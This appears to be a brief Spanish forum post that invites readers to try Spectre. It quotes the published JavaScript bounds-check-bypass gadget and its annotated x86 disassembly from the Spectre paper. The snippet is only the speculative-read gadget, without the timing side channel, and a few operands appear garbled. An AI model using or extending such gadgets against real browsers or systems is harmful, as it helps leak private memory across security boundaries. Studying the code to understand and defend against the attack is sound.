Buenas
Probar Spectre que os vais a reír un rato
Listing 2: Exploiting Speculative Execution via JavaScript.
if (index < simpleByteArray.length) {
index = simpleByteArray[index | 0];
index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
localJunk ^= probeTable[index|0]|0;
}
Listing 3: Disassembly of Speculative Execution in JavaScript Example
cmpl r15,[rbp-0xe0] ; Compare index (r15) against simpleByteArray.length
jnc 0x24dd099bb870 ; If index >= length, branch to instruction after movq below
REX.W leaq rsi,[r12+rdx1] ; Set rsi=r12+rdx=addr of first byte in simpleByteArray
movzxbl rsi,[rsi+r151] ; Read byte from address rsi+r15 (= base address+index)
shll rsi, 12 ; Multiply rsi by 4096 by shifting left 12 bits}%\
andl rsi,0x1ffffff ; AND reassures JIT that next operation is in-bounds
movzxbl rsi,[rsi+r8*1] ; Read from probeTable
xorl rsi,rdi ; XOR the read result onto localJunk
REX.W movq rdi,rsi ; Copy localJunk into rdi
Saludos